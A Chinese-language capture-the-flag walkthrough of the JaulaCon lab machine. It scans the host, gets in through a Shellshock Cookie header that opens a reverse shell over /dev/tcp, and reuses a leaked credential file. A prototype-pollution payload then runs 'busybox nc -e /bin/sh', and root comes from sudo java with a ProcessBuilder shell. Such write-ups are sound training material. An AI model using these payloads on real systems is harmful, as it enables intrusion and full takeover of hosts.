JaulaCon

image

信息搜集

主机发现

1
2
3
4
5
6
7
8
9
10
┌──(root㉿kali)-[~]
└─# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 08:00:27:d1:f8:5d, IPv4: 192.168.100.28
Starting arp-scan 1.10.0 with 512 hosts (https://github.com/royhills/arp-scan)
......
192.168.100.42 08:00:27:2a:fe:24 PCS Systemtechnik GmbH
......

124 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 512 hosts scanned in 3.098 seconds (165.27 hosts/sec). 31 responded

端口扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
┌──(root㉿Eecho)-[~]
└─# rustscan -a 192.168.100.42 -- -A
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
Port scanning: Because every port has a story to tell.

[~] The config file is expected to be at "/root/.rustscan.toml"
[~] File limit higher than batch size. Can increase speed by increasing batch size '-b 10140'.
Open 192.168.100.42:22
Open 192.168.100.42:80
Open 192.168.100.42:3333
Open 192.168.100.42:8080
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} -{{ipversion}} {{ip}} -A" on ip 192.168.100.42
Depending on the complexity of the script, results may take some time to appear.
[~] Starting Nmap 7.99 ( https://nmap.org ) at 2026-07-27 09:19 +0800
NSE: Loaded 158 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 09:19
Completed NSE at 09:19, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 09:19
Completed NSE at 09:19, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 09:19
Completed NSE at 09:19, 0.00s elapsed
Initiating ARP Ping Scan at 09:19
Scanning 192.168.100.42 [1 port]
Completed ARP Ping Scan at 09:19, 0.04s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 09:19
Completed Parallel DNS resolution of 1 host. at 09:19, 1.50s elapsed
DNS resolution of 1 IPs took 1.50s. Mode: Async [#: 3, OK: 0, NX: 1, DR: 0, SF: 0, TR: 2, CN: 0]
Initiating SYN Stealth Scan at 09:19
Scanning 192.168.100.42 [4 ports]
Discovered open port 3333/tcp on 192.168.100.42
Discovered open port 22/tcp on 192.168.100.42
Discovered open port 80/tcp on 192.168.100.42
Discovered open port 8080/tcp on 192.168.100.42
Completed SYN Stealth Scan at 09:19, 0.02s elapsed (4 total ports)
Initiating Service scan at 09:19
Scanning 4 services on 192.168.100.42
Completed Service scan at 09:19, 11.04s elapsed (4 services on 1 host)
Initiating OS detection (try #1) against 192.168.100.42
NSE: Script scanning 192.168.100.42.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 09:19
Completed NSE at 09:20, 0.37s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 09:20
Completed NSE at 09:20, 0.02s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 09:20
Completed NSE at 09:20, 0.00s elapsed
Nmap scan report for 192.168.100.42
Host is up, received arp-response (0.00066s latency).
Scanned at 2026-07-27 09:19:47 CST for 13s

PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 64 OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey:
| 256 f9:a8:dc:82:04:97:32:63:99:95:f7:c8:be:dc:b9:62 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJM+P2znVDN7FlqYbMRfHWa53KdJstExXSxdCRoDf8VEoRZ3EuO247emRW4xvQetJ/IP15kHt3q6UwdYrCAXDY4=
| 256 00:c9:50:37:b5:21:c1:6e:e6:95:a0:ec:df:3b:cb:1c (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPJ/xfKIJABT1bvZvzOco211RzxJLxG70rCfLiROEkEH
80/tcp open http syn-ack ttl 64 Apache httpd 2.4.59 ((Debian))
|_http-title: Uoni
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.59 (Debian)
3333/tcp open http syn-ack ttl 64 Node.js Express framework
| http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_Requested resource was /login
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
8080/tcp open http syn-ack ttl 63 Apache httpd 2.4.59 ((Debian))
|_http-server-header: Apache/2.4.59 (Debian)
|_http-title: Apache2 Debian Default Page: It works
| http-methods:
|_ Supported Methods: HEAD GET POST OPTIONS
MAC Address: 08:00:27:2A:FE:24 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
TCP/IP fingerprint:
OS:SCAN(V=7.99%E=4%D=7/27%OT=22%CT=%CU=35676%PV=Y%DS=1%DC=D%G=N%M=080027%TM
OS:=6A66B240%P=x86_64-pc-linux-gnu)SEQ(SP=101%GCD=1%ISR=10C%TI=Z%CI=Z%II=I%
OS:TS=A)OPS(O1=M5B4ST11NW7%O2=M5B4ST11NW7%O3=M5B4NNT11NW7%O4=M5B4ST11NW7%O5
OS:=M5B4ST11NW7%O6=M5B4ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=
OS:FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M5B4NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%
OS:A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0
OS:%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S
OS:=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R
OS:=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N
OS:%T=40%CD=S)

Uptime guess: 15.938 days (since Sat Jul 11 10:48:34 2026)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=257 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT ADDRESS
1 0.66 ms 192.168.100.42

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 09:20
Completed NSE at 09:20, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 09:20
Completed NSE at 09:20, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 09:20
Completed NSE at 09:20, 0.00s elapsed
Read data files from: /usr/share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.56 seconds
Raw packets sent: 27 (1.982KB) | Rcvd: 19 (1.454KB)
  • 22 ssh
  • 80 http
  • 3333 http
  • 8080 http

目录扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
┌──(root㉿Eecho)-[~]
└─# gobuster dir -u http://192.168.100.42:8080 -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.100.42:8080
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8.2
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
.hta (Status: 403) [Size: 281]
.htaccess (Status: 403) [Size: 281]
.htpasswd (Status: 403) [Size: 281]
cgi-bin/ (Status: 403) [Size: 281]
index.html (Status: 200) [Size: 10701]
server-status (Status: 403) [Size: 281]
Progress: 4613 / 4613 (100.00%)
===============================================================
Finished
===============================================================

ShellShock

有个cgi-bin目录

img

扫描到一个agua.cgi

image

很明显需要一个ShellShock

https://hacktricks.wiki/en/network-services-pentesting/pentesting-web/cgi.html?highlight=shellshocker#shellshock

这里我们反弹shell

1
curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/192.168.100.37/8888 0>&1' http://192.168.100.42:8080/cgi-bin/agua.cgi

image

提权

www -> jaula

在/opt目录下有一个隐藏文件.credenciales

1
2
www-data@cee8e0de8098:/opt$ cat .credenciales
Shellychosk:Portidrea345ñ

泄露了3333端口web服务的登录凭证

image

是一个URL下载功能

image

下载的时候提示我们不是管理员

image

使用wappalyzer查看网站指纹发现是nodejs写的,所以考虑是否是原型链污染获取管理员权限。

image

经过验证发现确实是原型链污染

image

image

那么我们直接反弹shell,利用反引号

1
{"url":"`busybox nc 192.168.43.5 8888 -e /bin/sh`","__proto__":{"isAdmin":"true"}}

image

jaula -> root

1
2
3
4
5
6
7
jaula@JaulaCon:/tmp$ sudo -l
Matching Defaults entries for jaula on JaulaCon:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
use_pty

User jaula may run the following commands on JaulaCon:
(root) NOPASSWD: /usr/bin/java

可以利用java提权,gtfbins上有方案

https://gtfobins.org/gtfobins/java/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
jaula@JaulaCon:/var/www/html/PrototypePollution-Lab/prototypePoluttion$ cd /tmp/
jaula@JaulaCon:/tmp$ cat >Shell.java <<EOF
public class Shell {
public static void main(String[] args) throws Exception {
new ProcessBuilder("/bin/sh").inheritIO().start().waitFor();
}
}
EOF

javac Shell.java
jaula@JaulaCon:/tmp$ sudo -u root /usr/bin/java Shell
# id
uid=0(root) gid=0(root) grupos=0(root)
# cd /root
#